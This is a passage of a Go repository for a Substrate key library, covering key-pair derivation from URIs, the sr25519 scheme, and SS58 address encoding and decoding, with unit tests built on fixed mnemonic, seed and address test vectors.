| } 541 | } 542 | 543 | // reverse reverses bytes in place (manipulates the underlying array) 544 | func reverse(b []byte) { 545 | for i, j := 0, len(b)-1; i < j; i, j = i+1, j-1 { 546 | b[i], b[j] = b[j], b[i] 547 | } 548 | } 549 | 550 | // DecodeOption decodes a optionally available value into a boolean presence field and a value. 551 | func (pd Decoder) DecodeOption(hasValue *bool, valuePointer interface{}) error { 552 | b, _ := pd.ReadOneByte() 553 | switch b { 554 | case 0: 555 | *hasValue = false 556 | case 1: 557 | *hasValue = true 558 | err := pd.Decode(valuePointer) 559 | if err != nil { 560 | return err 561 | } 562 | default: 563 | return fmt.Errorf("Unknown byte prefix for encoded OptionBool: %d", b) 564 | } 565 | return nil 566 | } 567 | 568 | // Encodeable is an interface that defines a custom encoding rules for a data type. 569 | // Should be defined for structs (not pointers to them). 570 | // See OptionBool for an example implementation. 571 | type Encodeable interface { 572 | // ParityEncode encodes and write this structure into a stream 573 | Encode(encoder Encoder) error 574 | } 575 | 576 | // Decodeable is an interface that defines a custom encoding rules for a data type. 577 | // Should be defined for pointers to structs. 578 | // See OptionBool for an example implementation. 579 | type Decodeable interface { 580 | // ParityDecode populates this structure from a stream (overwriting the current contents), return false on failure 581 | Decode(decoder Decoder) error 582 | } 583 | -------------------------------------------------------------------------------- /scheme.go: -------------------------------------------------------------------------------- 1 | package subkey 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | // Scheme represents a cryptography scheme. 8 | type Scheme interface { 9 | fmt.Stringer 10 | Generate() (KeyPair, error) 11 | FromSeed(seed []byte) (KeyPair, error) 12 | FromPhrase(phrase, password string) (KeyPair, error) 13 | Derive(pair KeyPair, djs []DeriveJunction) (KeyPair, error) 14 | FromPublicKey([]byte) (PublicKey, error) 15 | } 16 | 17 | // DeriveKeyPair derives the Keypair from the URI using the provided cryptography scheme. 18 | func DeriveKeyPair(scheme Scheme, uri string) (kp KeyPair, err error) { 19 | phrase, path, pwd, err := splitURI(uri) 20 | if err != nil { 21 | return nil, err 22 | } 23 | 24 | if b, ok := DecodeHex(phrase); ok { 25 | kp, err = scheme.FromSeed(b) 26 | } else { 27 | kp, err = scheme.FromPhrase(phrase, pwd) 28 | } 29 | if err != nil { 30 | return nil, err 31 | } 32 | 33 | djs, err := deriveJunctions(derivePath(path)) 34 | if err != nil { 35 | return nil, err 36 | } 37 | 38 | return scheme.Derive(kp, djs) 39 | } 40 | -------------------------------------------------------------------------------- /scheme_test.go: -------------------------------------------------------------------------------- 1 | package subkey_test 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "strings" 7 | "testing" 8 | 9 | "github.com/stretchr/testify/assert" 10 | "github.com/trickypurr/go-subkey/v2" 11 | "github.com/trickypurr/go-subkey/v2/ecdsa" 12 | "github.com/trickypurr/go-subkey/v2/ed25519" 13 | "github.com/trickypurr/go-subkey/v2/sr25519" 14 | ) 15 | 16 | //nolint:funlen 17 | func TestDerive(t *testing.T) { 18 | testsMap := map[subkey.Scheme][]struct { 19 | uri string 20 | seed string 21 | publicKey string 22 | accountID string 23 | ss58Addr string 24 | network uint16 25 | err bool 26 | }{ 27 | sr25519.Scheme{}: { 28 | { 29 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap", 30 | seed: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 31 | publicKey: "0x88af895626c47cf1235ec3898d238baeb41adca3117b9a77bc2f6b78eca0771b", 32 | ss58Addr: "5F9vWoiazEhfxSxCG8nUuDhh5fqNtPnSxp2BrhPsuLqEQASi", 33 | network: 42, 34 | }, 35 | 36 | { 37 | uri: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 38 | seed: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 39 | publicKey: "0x88af895626c47cf1235ec3898d238baeb41adca3117b9a77bc2f6b78eca0771b", 40 | ss58Addr: "5F9vWoiazEhfxSxCG8nUuDhh5fqNtPnSxp2BrhPsuLqEQASi", 41 | network: 42, 42 | }, 43 | 44 | { 45 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap///password", 46 | seed: "0xd2dbfa26295528f3893430047b773e5bc5457b02c520c5d80bb83366d42de032", 47 | publicKey: "0x5c2d57c4cfa7df7a9d0e9546bb575045f5ec14e9771de8bc907910c84cd5de2a", 48 | ss58Addr: "5E9ZjRM9VdqES5JhbABVpvgCstaE7J5x3cE7sTKMGG5TF8tZ", 49 | network: 42, 50 | }, 51 | { 52 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap/foo", 53 | publicKey: "0x287061f5973551d070ccc62fb4563a0be2e6324ce183c456850e342aa021f94d", 54 | ss58Addr: "5CyjA4yQrQtJBs7jC4D6S672y3Ez4Shd3se6VXB4JBkdGwUZ", 55 | network: 42, 56 | }, 57 | { 58 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo", 59 | seed: "0x5e42b0ed6e2e5f415ff7b40aeda2c7d620c48b680483340866d0b413af33c2ee", 60 | publicKey: "0x04bd4f94429371e044509d22f8a6d33ab9c336bf54ef6b38eba0cc3a4f125e5a", 61 | ss58Addr: "5CAvHXaqNRwbbL4B3MoQJdam8JmotCGAF8kTpgWhR9ahhJYS", 62 | network: 42, 63 | }, 64 | { 65 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo//42", 66 | seed: "0xec3cea90f177012d75ed1ec96372567777a5615c96cc85462152f8007c7f4205", 67 | publicKey: "0xde4255b281cda3580a7aad6d2c7efd990e6b31569ab1a0a8adc18b32e4fa510f", 68 | ss58Addr: "5H68C9rPXxtbsAZMznJaLJWfg1GXDuf3yAgjZoMYcfGxZ6Db", 69 | network: 42, 70 | }, 71 | { 72 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo/bar", 73 | publicKey: "0x0c6febc87c461f8ddceb295d90c3ba999b1e93c2bdd13145b265512d06729449", 74 | ss58Addr: "5CM1gMJkyRoE7txkdHv31y6H4yPMKCALSDpaeaE8BpDVwrht", 75 | network: 42, 76 | }, 77 | { 78 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap/foo//bar", 79 | publicKey: "0xe4535b3b8e259badc3c78128bfafe0b50df625862edaff7c9d68999a0811865b", 80 | ss58Addr: "5HE5Y6MDZvy9QJsmgjrnJHiSqsYRTrfBLrzLvHQC3f9PM6TR", 81 | network: 42, 82 | }, 83 | { 84 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo/bar//42/69", 85 | publicKey: "0x68a5a8f7e29ffcae1d15518b180f6e4f1132b45ffd565cb7953045faf07c8809", 86 | ss58Addr: "5ERv3mLP7CX1CViNc6NUQaePBJMkf6BELffpMfXjXjj28SNo", 87 | network: 42, 88 | }, 89 | { 90 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo/bar//42/69///password", 91 | publicKey: "0x4055514cd4ddcc7b23024839b68190f3f71bc262eb038145262bfe087bbb5429", 92 | ss58Addr: "5DX4GQQm9rSHVcqaG9CgxdZLsj8buBxcRWEYYcHrRXe4epZg", 93 | network: 42, 94 | }, 95 | }, 96 | ed25519.Scheme{}: { 97 | { 98 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap", 99 | seed: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 100 | publicKey: "0xe4631cda48cb885f3a6d0b521d3278ec3e834dd2e1766f7edb8e1386535cc217", 101 | ss58Addr: "5HEADZuqsQzNPxGySd74DGPhfm8vFFPVGaKPWkQigJgtv41f", 102 | network: 42, 103 | }, 104 | 105 | { 106 | uri: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 107 | seed: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 108 | publicKey: "0xe4631cda48cb885f3a6d0b521d3278ec3e834dd2e1766f7edb8e1386535cc217", 109 | ss58Addr: "5HEADZuqsQzNPxGySd74DGPhfm8vFFPVGaKPWkQigJgtv41f", 110 | network: 42, 111 | }, 112 | 113 | { 114 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap///password", 115 | seed: "0xd2dbfa26295528f3893430047b773e5bc5457b02c520c5d80bb83366d42de032", 116 | publicKey: "0x261a29a2b6f690f394d339dc6e09f7f8fa85a3ed82b7567e2bb2a79c33651eef", 117 | ss58Addr: "5CvfSyhefVmXnmQ2c4ff6h4EBuhNqaRpjoEHyMD8JWdnpH7y", 118 | network: 42, 119 | }, 120 | { 121 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo", 122 | seed: "0x833f823fbc06b721890c56ecb5dc3972039b2e84bb8b6776e801d95e5dcdd18d", 123 | publicKey: "0x986f6247a100aee1aaaadb215fc681f95a64a86fd1f12d4360514f9be7769f40", 124 | ss58Addr: "5FWaDvLD9wuZRiLzCxECXdrc57Xavjh5WMvC54ufMQmvPTxD", 125 | network: 42, 126 | }, 127 | { 128 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo//42", 129 | seed: "0x5a9060fb4a7441903228e7e7138a95ecc7f84ce4f153b37325a87b5f35829df1", 130 | publicKey: "0x7a16bd534b1aab9d420d5ca544927ccff88f76e39b063faee502b63f7a2fb394", 131 | ss58Addr: "5EpnTJ2E731sTG9WnHNS2cbcppriXx7RF8nmRSaBHWg5hRSr", 132 | network: 42, 133 | }, 134 | { 135 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo//42///password", 136 | seed: "0x21346646d89dfcf14d69152583ccd30f3ebc385f0b112c54b477be16ff4fcfb9", 137 | publicKey: "0x34f7460f79c0c4947dfe1b4176ff8cf974883ed2f2a5c716ed89bd16b11e05dc", 138 | ss58Addr: "5DG9oWqVMaxTn7LksujDvYPQEcU19yGiEkgAEHFYoBtYudM9", 139 | network: 42, 140 | }, 141 | }, 142 | ecdsa.Scheme{}: { 143 | { 144 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap", 145 | seed: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 146 | publicKey: "0x033d2d207f8d5a3269fae4609fadde7ec2ce384d36170132636739bbf05d59cf4f", 147 | accountID: "0x8857761f773009d28daeca8cdbead6328bc18d238b5d7465420c987e9543da2b", 148 | ss58Addr: "5F9UMJqrtQ2k2i4tP3qcdvCttunoQLdTtDyDSShoSgFRhFfC", 149 | network: 42, 150 | }, 151 | 152 | { 153 | uri: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 154 | seed: "0x18446f2d685492c3086391aabe8f5e235c3c2e02521985650f0c97052237e717", 155 | publicKey: "0x033d2d207f8d5a3269fae4609fadde7ec2ce384d36170132636739bbf05d59cf4f", 156 | accountID: "0x8857761f773009d28daeca8cdbead6328bc18d238b5d7465420c987e9543da2b", 157 | ss58Addr: "5F9UMJqrtQ2k2i4tP3qcdvCttunoQLdTtDyDSShoSgFRhFfC", 158 | network: 42, 159 | }, 160 | 161 | { 162 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap///password", 163 | seed: "0xd2dbfa26295528f3893430047b773e5bc5457b02c520c5d80bb83366d42de032", 164 | publicKey: "0x032682ae5c64e88d008edef86313909f928feb337abe73c3279e7c0941e9f78073", 165 | accountID: "0xecf9fd593d24d7d0b7dc4cb41177ea6935e4f99e5274302eb7ddd821cc7ff02f", 166 | ss58Addr: "5HRRRLS5sPdMHTDUfPShrwVgqRBnaVVkDskEtShcBPdhZdSr", 167 | network: 42, 168 | }, 169 | { 170 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo", 171 | seed: "0x1e489c9526180c5fa2d03b98880ef6489fb7026fecb1695e2cc0140e8a62acd4", 172 | publicKey: "0x038254160e975003f46afa848dccd40962a70e2fe233e6eacf1d16dcc4dfd4b26a", 173 | accountID: "0xae27f3f58ad1dd5a8b2cc051d0740082ac7e6d9f65a1b0f4be9b4ecce90106b7", 174 | ss58Addr: "5G144J3pcwW8q22RMpUEY6e9AeviTK4LLbFWzigYekPfVS4T", 175 | network: 42, 176 | }, 177 | { 178 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo//42", 179 | seed: "0x55b559fa98d42b2bf7c4f7e428774d639e877ad1d33162d662004a0c834d6eeb", 180 | publicKey: "0x0357af8e3e095a0f348fef65b78839a8dc4b4c959f24c4a5a0125f3989cc0a90d0", 181 | accountID: "0x67be6fa968bad671e5421692c5e7031625446b0a4412840b9107bca4e4dbf523", 182 | ss58Addr: "5EQjMsU88KFTjtd35oujweATPy9nPE5wvLjoMaKWho3NWJok", 183 | network: 42, 184 | }, 185 | { 186 | uri: "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo//42///password", 187 | seed: "0x6ea8835d60351a39a1e2293b2902d7bd6e12e526e72c46f4fda4a233809c4379", 188 | publicKey: "0x0220bf156d0432c5abe371b1c46b6eef730668405957ed044a64b7f926fd90c6a3", 189 | accountID: "0x948f80da32015cb04b47405d1ad2e77bda020416c6094ab0300a71625f082149", 190 | ss58Addr: "5FRVaDUQMhpm1vBK5Y5EjdoNhv5tZRTBRgq8eoD1meRse6om", 191 | network: 42, 192 | }, 193 | }, 194 | } 195 | 196 | for scheme, tests := range testsMap { 197 | for _, c := range tests { 198 | t.Run(fmt.Sprintf("%s-%s", scheme, c.uri), func(t *testing.T) { 199 | s, err := subkey.DeriveKeyPair(scheme, c.uri) 200 | if err != nil { 201 | assert.True(t, c.err) 202 | return 203 | } 204 | 205 | pub := s.Public() 206 | assert.Equal(t, c.publicKey, subkey.EncodeHex(pub)) 207 | if c.accountID != "" { 208 | assert.Equal(t, c.accountID, subkey.EncodeHex(s.AccountID())) 209 | } 210 | seed := subkey.EncodeHex(s.Seed()) 211 | if s.Seed() == nil { 212 | seed = "" 213 | } 214 | assert.Equal(t, c.seed, seed) 215 | gotSS58Addr := s.SS58Address(c.network) 216 | assert.Equal(t, c.ss58Addr, gotSS58Addr) 217 | }) 218 | } 219 | } 220 | } 221 | 222 | func Test_Generate_Sign_Verify(t *testing.T) { 223 | msg := []byte(strings.Repeat("as", rand.Intn(100))) //nolint:gosec 224 | verify := func(kr subkey.KeyPair) { 225 | sig, err := kr.Sign(msg) 226 | assert.NoError(t, err) 227 | assert.True(t, kr.Verify(msg, sig)) 228 | } 229 | t.Run("sr25519", func(t *testing.T) { 230 | kr, err := sr25519.Scheme{}.Generate() 231 | assert.NoError(t, err) 232 | verify(kr) 233 | }) 234 | t.Run("ed25519", func(t *testing.T) { 235 | kr, err := ed25519.Scheme{}.Generate() 236 | assert.NoError(t, err) 237 | verify(kr) 238 | }) 239 | t.Run("ecdsa", func(t *testing.T) { 240 | kr, err := ecdsa.Scheme{}.Generate() 241 | assert.NoError(t, err) 242 | verify(kr) 243 | }) 244 | } 245 | -------------------------------------------------------------------------------- /sr25519/sr25519.go: -------------------------------------------------------------------------------- 1 | package sr25519 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | 7 | sr25519 "github.com/ChainSafe/go-schnorrkel" 8 | "github.com/gtank/merlin" 9 | "github.com/trickypurr/go-subkey/v2" 10 | ) 11 | 12 | const ( 13 | miniSecretKeyLength = 32 14 | 15 | secretKeyLength = 64 16 | 17 | signatureLength = 64 18 | ) 19 | 20 | type keyRing struct { 21 | seed []byte 22 | secret *sr25519.SecretKey 23 | pub *sr25519.PublicKey 24 | } 25 | 26 | func (kr keyRing) Sign(msg []byte) (signature []byte, err error) { 27 | sig, err := kr.secret.Sign(signingContext(msg)) 28 | if err != nil { 29 | return signature, err 30 | } 31 | 32 | s := sig.Encode() 33 | return s[:], nil 34 | } 35 | 36 | func (kr keyRing) Verify(msg []byte, signature []byte) bool { 37 | var sigs [signatureLength]byte 38 | copy(sigs[:], signature) 39 | sig := new(sr25519.Signature) 40 | if err := sig.Decode(sigs); err != nil { 41 | return false 42 | } 43 | ok, err := kr.pub.Verify(sig, signingContext(msg)) 44 | if err != nil || !ok { 45 | return false 46 | } 47 | 48 | return true 49 | } 50 | 51 | func signingContext(msg []byte) *merlin.Transcript { 52 | return sr25519.NewSigningContext([]byte("substrate"), msg) 53 | } 54 | 55 | // Public returns the public key in bytes 56 | func (kr keyRing) Public() []byte { 57 | bytes := kr.pub.Encode() 58 | return bytes[:] 59 | } 60 | 61 | func (kr keyRing) Seed() []byte { 62 | return kr.seed 63 | } 64 | 65 | func (kr keyRing) AccountID() []byte { 66 | return kr.Public() 67 | } 68 | 69 | func (kr keyRing) SS58Address(network uint16) string { 70 | return subkey.SS58Encode(kr.AccountID(), network) 71 | } 72 | 73 | func deriveKeySoft(secret *sr25519.SecretKey, cc [32]byte) (*sr25519.SecretKey, error) { 74 | t := merlin.NewTranscript("SchnorrRistrettoHDKD") 75 | t.AppendMessage([]byte("sign-bytes"), nil) 76 | ek, err := secret.DeriveKey(t, cc) 77 | if err != nil { 78 | return nil, err 79 | } 80 | return ek.Secret() 81 | } 82 | 83 | func deriveKeyHard(secret *sr25519.SecretKey, cc [32]byte) (*sr25519.MiniSecretKey, error) { 84 | t := merlin.NewTranscript("SchnorrRistrettoHDKD") 85 | t.AppendMessage([]byte("sign-bytes"), nil) 86 | t.AppendMessage([]byte("chain-code"), cc[:]) 87 | s := secret.Encode() 88 | t.AppendMessage([]byte("secret-key"), s[:]) 89 | mskb := t.ExtractBytes([]byte("HDKD-hard"), miniSecretKeyLength) 90 | msk := [miniSecretKeyLength]byte{} 91 | copy(msk[:], mskb) 92 | return sr25519.NewMiniSecretKeyFromRaw(msk) 93 | } 94 | 95 | type Scheme struct{} 96 | 97 | func (s Scheme) String() string { 98 | return "Sr25519" 99 | } 100 | 101 | func (s Scheme) Generate() (subkey.KeyPair, error) { 102 | ms, err := sr25519.GenerateMiniSecretKey() 103 | if err != nil { 104 | return nil, err 105 | } 106 | 107 | secret := ms.ExpandEd25519() 108 | pub, err := secret.Public() 109 | if err != nil { 110 | return nil, err 111 | } 112 | 113 | seed := ms.Encode() 114 | return keyRing{ 115 | seed: seed[:], 116 | secret: secret, 117 | pub: pub, 118 | }, nil 119 | } 120 | 121 | func (s Scheme) FromSeed(seed []byte) (subkey.KeyPair, error) { 122 | switch len(seed) { 123 | case miniSecretKeyLength: 124 | var mss [32]byte 125 | copy(mss[:], seed) 126 | ms, err := sr25519.NewMiniSecretKeyFromRaw(mss) 127 | if err != nil { 128 | return nil, err 129 | } 130 | 131 | return keyRing{ 132 | seed: seed, 133 | secret: ms.ExpandEd25519(), 134 | pub: ms.Public(), 135 | }, nil 136 | 137 | case secretKeyLength: 138 | var key, nonce [32]byte 139 | copy(key[:], seed[0:32]) 140 | copy(nonce[:], seed[32:64]) 141 | secret := sr25519.NewSecretKey(key, nonce) 142 | pub, err := secret.Public() 143 | if err != nil { 144 | return nil, err 145 | } 146 | 147 | return keyRing{ 148 | seed: seed, 149 | secret: secret, 150 | pub: pub, 151 | }, nil 152 | } 153 | 154 | return nil, errors.New("invalid seed length") 155 | } 156 | 157 | func (s Scheme) FromPhrase(phrase, pwd string) (subkey.KeyPair, error) { 158 | ms, err := sr25519.MiniSecretKeyFromMnemonic(phrase, pwd) 159 | if err != nil { 160 | return nil, err 161 | } 162 | 163 | secret := ms.ExpandEd25519() 164 | pub, err := secret.Public() 165 | if err != nil { 166 | return nil, err 167 | } 168 | 169 | seed := ms.Encode() 170 | return keyRing{ 171 | seed: seed[:], 172 | secret: secret, 173 | pub: pub, 174 | }, nil 175 | } 176 | 177 | func (s Scheme) Derive(pair subkey.KeyPair, djs []subkey.DeriveJunction) (subkey.KeyPair, error) { 178 | kr := pair.(keyRing) 179 | secret := kr.secret 180 | seed := kr.seed 181 | var err error 182 | for _, dj := range djs { 183 | if dj.IsHard { 184 | ms, err := deriveKeyHard(secret, dj.ChainCode) 185 | if err != nil { 186 | return nil, err 187 | } 188 | 189 | secret = ms.ExpandEd25519() 190 | if seed != nil { 191 | es := ms.Encode() 192 | seed = es[:] 193 | } 194 | continue 195 | } 196 | 197 | secret, err = deriveKeySoft(secret, dj.ChainCode) 198 | if err != nil { 199 | return nil, err 200 | } 201 | seed = nil 202 | } 203 | 204 | pub, err := secret.Public() 205 | if err != nil { 206 | return nil, err 207 | } 208 | 209 | return &keyRing{seed: seed, secret: secret, pub: pub}, nil 210 | } 211 | 212 | func (s Scheme) FromPublicKey(bytes []byte) (subkey.PublicKey, error) { 213 | if len(bytes) != 32 { 214 | return nil, fmt.Errorf("expected 32 bytes") 215 | } 216 | arr := [32]byte{} 217 | copy(arr[:], bytes[:32]) 218 | key, err := sr25519.NewPublicKey(arr) 219 | if err != nil { 220 | return nil, err 221 | } 222 | 223 | return &keyRing{pub: key}, nil 224 | } 225 | -------------------------------------------------------------------------------- /sr25519/sr25519_test.go: -------------------------------------------------------------------------------- 1 | package sr25519 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | "github.com/trickypurr/go-subkey/v2" 8 | ) 9 | 10 | func fromHex(t *testing.T, hex string) []byte { 11 | bytes, success := subkey.DecodeHex(hex) 12 | assert.True(t, success) 13 | return bytes 14 | } 15 | 16 | func TestFromPublicKeyVerifyGood(t *testing.T) { 17 | addr := "5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY" 18 | msg := fromHex(t, "0xDEADBEEF") 19 | sig := fromHex(t, "dc7cf771e1989a5c3cddca30ec5efaeff9a5c14a36c3c032510019e7144e0375f9207ef6745390ca3dc76b307b26f60125c942e2b7fb23100cc79402a12dde8b") 20 | 21 | network, pubkeyBytes, err := subkey.SS58Decode(addr) 22 | assert.NoError(t, err) 23 | pubkey, err := Scheme{}.FromPublicKey(pubkeyBytes) 24 | assert.NoError(t, err) 25 | assert.Equal(t, pubkey.SS58Address(network), addr) 26 | assert.True(t, pubkey.Verify(msg, sig)) 27 | } 28 | 29 | func TestVerifyBad(t *testing.T) { 30 | addr := "5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY" 31 | badAddr := "5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty" 32 | msg := fromHex(t, "0xDEADBEEF") 33 | badMsg := fromHex(t, "0xBADDBEEF") 34 | sig := fromHex(t, "dc7cf771e1989a5c3cddca30ec5efaeff9a5c14a36c3c032510019e7144e0375f9207ef6745390ca3dc76b307b26f60125c942e2b7fb23100cc79402a12dde8b") 35 | badSig := fromHex(t, "0c7cf771e1989a5c3cddca30ec5efaeff9a5c14a36c3c032510019e7144e0375f9207ef6745390ca3dc76b307b26f60125c942e2b7fb23100cc79402a12dde8b") 36 | 37 | _, pubkeyBytes, err := subkey.SS58Decode(addr) 38 | assert.NoError(t, err) 39 | pubkey, err := Scheme{}.FromPublicKey(pubkeyBytes) 40 | assert.NoError(t, err) 41 | assert.True(t, pubkey.Verify(msg, sig)) 42 | assert.False(t, pubkey.Verify(badMsg, sig)) 43 | assert.False(t, pubkey.Verify(msg, badSig)) 44 | assert.False(t, pubkey.Verify(badMsg, badSig)) 45 | 46 | _, badPubkeyBytes, err := subkey.SS58Decode(badAddr) 47 | assert.NoError(t, err) 48 | badPubkey, err := Scheme{}.FromPublicKey(badPubkeyBytes) 49 | assert.NoError(t, err) 50 | assert.False(t, badPubkey.Verify(msg, sig)) 51 | } 52 | -------------------------------------------------------------------------------- /ss58_address.go: -------------------------------------------------------------------------------- 1 | package subkey 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | 7 | "github.com/decred/base58" 8 | "golang.org/x/crypto/blake2b" 9 | ) 10 | 11 | // SS58Decode decodes an SS58 checksumed value into its data and format. 12 | func SS58Decode(address string) (uint16, []byte, error) { 13 | // Adapted from https://github.com/paritytech/substrate/blob/e6def65920d30029e42d498cb07cec5dd433b927/primitives/core/src/crypto.rs#L264 14 | 15 | data := base58.Decode(address) 16 | if len(data) < 2 { 17 | return 0, nil, fmt.Errorf("expected at least 2 bytes in base58 decoded address") 18 | } 19 | 20 | prefixLen := int8(0) 21 | ident := uint16(0) 22 | if data[0] <= 63 { 23 | prefixLen = 1 24 | ident = uint16(data[0]) 25 | } else if data[0] < 127 { 26 | lower := (data[0] << 2) | (data[1] >> 6) 27 | upper := data[1] & 0b00111111 28 | prefixLen = 2 29 | ident = uint16(lower) | (uint16(upper) << 8) 30 | } else { 31 | return 0, nil, fmt.Errorf("invalid address") 32 | } 33 | 34 | checkSumLength := 2 35 | hash := ss58hash(data[:len(data)-checkSumLength]) 36 | checksum := hash[:checkSumLength] 37 | 38 | givenChecksum := data[len(data)-checkSumLength:] 39 | if !bytes.Equal(givenChecksum, checksum) { 40 | return 0, nil, fmt.Errorf("checksum mismatch: expected %v but got %v", checksum, givenChecksum) 41 | } 42 | 43 | return ident, data[prefixLen : len(data)-checkSumLength], nil 44 | } 45 | 46 | // SS58Encode encodes data and format identifier to an SS58 checksumed string. 47 | func SS58Encode(pubkey []byte, format uint16) string { 48 | // Adapted from https://github.com/paritytech/substrate/blob/e6def65920d30029e42d498cb07cec5dd433b927/primitives/core/src/crypto.rs#L319 49 | ident := format & 0b0011_1111_1111_1111 50 | var prefix []byte 51 | if ident <= 63 { 52 | prefix = []byte{uint8(ident)} 53 | } else if ident <= 16_383 { 54 | // upper six bits of the lower byte(!) 55 | first := uint8(ident&0b0000_0000_1111_1100) >> 2 56 | // lower two bits of the lower byte in the high pos, 57 | // lower bits of the upper byte in the low pos 58 | second := uint8(ident>>8) | uint8(ident&0b0000_0000_0000_0011)<<6 59 | prefix = []byte{first | 0b01000000, second} 60 | } else { 61 | panic("unreachable: masked out the upper two bits; qed") 62 | } 63 | body := append(prefix, pubkey...) 64 | hash := ss58hash(body) 65 | return base58.Encode(append(body, hash[:2]...)) 66 | } 67 | 68 | func ss58hash(data []byte) [64]byte { 69 | // Adapted from https://github.com/paritytech/substrate/blob/e6def65920d30029e42d498cb07cec5dd433b927/primitives/core/src/crypto.rs#L369 70 | prefix := []byte("SS58PRE") 71 | return blake2b.Sum512(append(prefix, data...)) 72 | } 73 | -------------------------------------------------------------------------------- /ss58_address_test.go: -------------------------------------------------------------------------------- 1 | package subkey 2 | 3 | import ( 4 | "reflect" 5 | "strings" 6 | "testing" 7 | ) 8 | 9 | func TestAddressInfo(t *testing.T) { 10 | tests := []struct { 11 | name string 12 | address string 13 | prefix uint16 14 | pub string 15 | }{ 16 | {"TestAddressInfo_Alice_Substrate", "5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY", 42, "0xd43593c715fdd31c61141abd04a99fd6822c8558854ccde39a5684e7a56da27d"}, 17 | {"TestAddressInfo_Alice_Heiko", "hJKzPoi3MQnSLvbShxeDmzbtHncrMXe5zwS3Wa36P6kXeNpcv", 110, "0xd43593c715fdd31c61141abd04a99fd6822c8558854ccde39a5684e7a56da27d"}, 18 | {"TestAddressInfo_Alice_Contextfree", "a7SvTrjvshEMePMEZpEkYMekuZMPpDwMNqfUx8N8ScEEQYfM8", 11820, "0xd43593c715fdd31c61141abd04a99fd6822c8558854ccde39a5684e7a56da27d"}, 19 | } 20 | for _, tt := range tests { 21 | t.Run(tt.name, func(t *testing.T) { 22 | prefix, pubbz, err := SS58Decode(tt.address) 23 | if err != nil { 24 | t.Errorf("Decoding %v failed with %v", tt.address, err) 25 | } 26 | if !reflect.DeepEqual(prefix, tt.prefix) { 27 | t.Errorf("ss58.Decode() prefix = %v, want %v", prefix, tt.prefix) 28 | } 29 | reencoded := SS58Encode(pubbz, prefix) 30 | if !reflect.DeepEqual(reencoded, tt.address) { 31 | t.Errorf("Address did not roundtrip: Started with %v and ended with %v", tt.address, reencoded) 32 | } 33 | hexpub := EncodeHex(pubbz) 34 | if !reflect.DeepEqual(hexpub, tt.pub) { 35 | t.Errorf("ss58.Decode() pubkey = %v, want %v", hexpub, tt.pub) 36 | } 37 | 38 | decoded, _ := DecodeHex(tt.pub) 39 | if !reflect.DeepEqual(pubbz, decoded) { 40 | t.Errorf("DecodeHexPubKey()= %v, want %v", decoded, pubbz) 41 | } 42 | }) 43 | } 44 | 45 | // Test bad checksum 46 | _, _, err := SS58Decode("a8SvTrjvshEMePMEZpEkYMekuZMPpDwMNqfUx8N8ScEEQYfM8") 47 | if err == nil || !strings.Contains(err.Error(), "checksum mismatch") { 48 | t.Errorf("Expected checksum mismatch but got '%v'", err) 49 | } 50 | } 51 | --------------------------------------------------------------------------------